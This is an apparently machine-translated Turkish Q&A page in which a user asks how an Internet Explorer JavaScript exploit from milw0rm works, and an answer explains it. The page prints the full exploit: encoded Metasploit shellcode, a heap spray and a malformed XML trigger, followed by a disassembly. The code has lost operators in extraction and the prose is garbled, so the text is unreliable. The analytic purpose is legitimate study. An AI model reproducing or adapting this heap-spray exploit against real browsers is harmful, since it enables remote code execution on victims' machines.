Bu JavaScript istismar anlıyor bana yardım et

SORU

19 Aralık 2008, Cuma

Bu JavaScript istismar anlıyor bana yardım et

Ben genellikle JavaScript script ama mantığını çözemiyorum bu bir okuma zorluğu yok. Kod 4 gün önce yayımlanmış bir Yararlanma. milw0rm de bulabilirsiniz.

İşte kod:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray  = spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i  )
           memory[i] = spray   shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Ben öyle inanıyorum ve seni yanlış anladım o kısmı için bana yardım etmek istiyorum.

Değişken shellcode calc.exe açmak için bir kod içerir. Garip dize buldular nasıl alamadım... herhangi bir fikir?

İkinci şey spray değişkendir. Bu garip döngü anlamıyorum?

Üçüncüsü hiçbir yere kullanılan 5* *değişkendir, neden yaratıyorlar?

Son bir şey, XML etiketi olarak Ne yapar?

Güncelleme

Güzel cevaplar var şu an için ama genelde çok iyi genel. Bu değeri daha fazla açıklama istiyorum kod. Örnek unescape("%u0a0a%u0a0a");. Bu ne anlama geliyor? Döngü için de aynı şey, neden geliştirici yazdı: 7**? Daha derin bir anlayış, değil istiyorum bu kod sadece teori.

CEVAP

19 Aralık 2008, Cuma

Bazen gerçek yapacak bazı x 86 montaj talimatları istismar içerir. spray memory koymak olacak talimatları uzun bir sıra oluşturur. Genellikle bellekte kabuk kodunu tam yerini bulamıyoruz göre, bunu daha önce de nop talimatları bir sürü koyun ve bir yere atla. memory dizi Zıplama mekanizması ile birlikte fiili 86 kodu düzenleyecek. Bir hata var olan kütüphane için hazırlanmış XML yem yaparız. Ayrıştırılmış olmak, hata Yönerge işaretçisi kayıt bizim bir yerde, rastgele kod yürütülmesine yol yararlanabilmesi için atanmış neden olur.

Daha derinden anlamak için, aslında 86 kodda ne olduğunu anlamaya gerekir. unscape spray değişken bayt dize temsil sırasına koymak için kullanılacaktır. Yığın büyük bir kısmını doldurur ve kabuğun başlangıç atlar geçerli kod 86. Bitiş nedeni betik motoru dize uzunluğu sınırlamaları. Dizeleri belirli bir uzunluk daha büyük olamaz.

, 0a0a 86 mecliste temsil or cl, [edx]. Bu etkili bir şekilde yararlanmak bizim amaçlar için nop öğretim eşdeğerdir. spray atlamak her yerde biz aslında idam etmek istiyor kodu olan kabuk ulaşana kadar bir sonraki talimat alırız.

Eğer XML bakarsanız, 0x0a0a de orada olduğunu göreceksiniz. Ne olacağını tam olarak nitelendiren gerektirir istismar özel bilgi (hata nerede ve bilmiyorum hangi sömürülen, nasıl bilmeniz gerekir). Ancak, Internet Explorer kötü amaçlı XML dizesi için innerHtml ayarlayarak arabası kodu tetiklemek için zorlayacağız gibi görünüyor. Internet Explorer bunu ayrıştırmak için çalışır ve hatalı kod bir şekilde dizinin bulunduğu bir bellek konumu için kontrol (büyük bir parça olduğu için, orada atlama ihtimali yüksek) verir. Biz orada atlama CPU ulaşır bellek koymak o kabuğun başında kadar or cl, [edx] yürütme talimatları devam edecektir.

Bazen demonte ettim:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx 0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx 0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx 0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi 0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp ebp*8 0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

Bu kabuğun x 86 montaj bilgisi ve MS kütüphane başlı başına problem (sistem durumunu vardığımızda ne bilmek) gerektirir anlayış, JavaScript! Bu kod devre calc.exe çalıştırır.

Bunu Paylaş: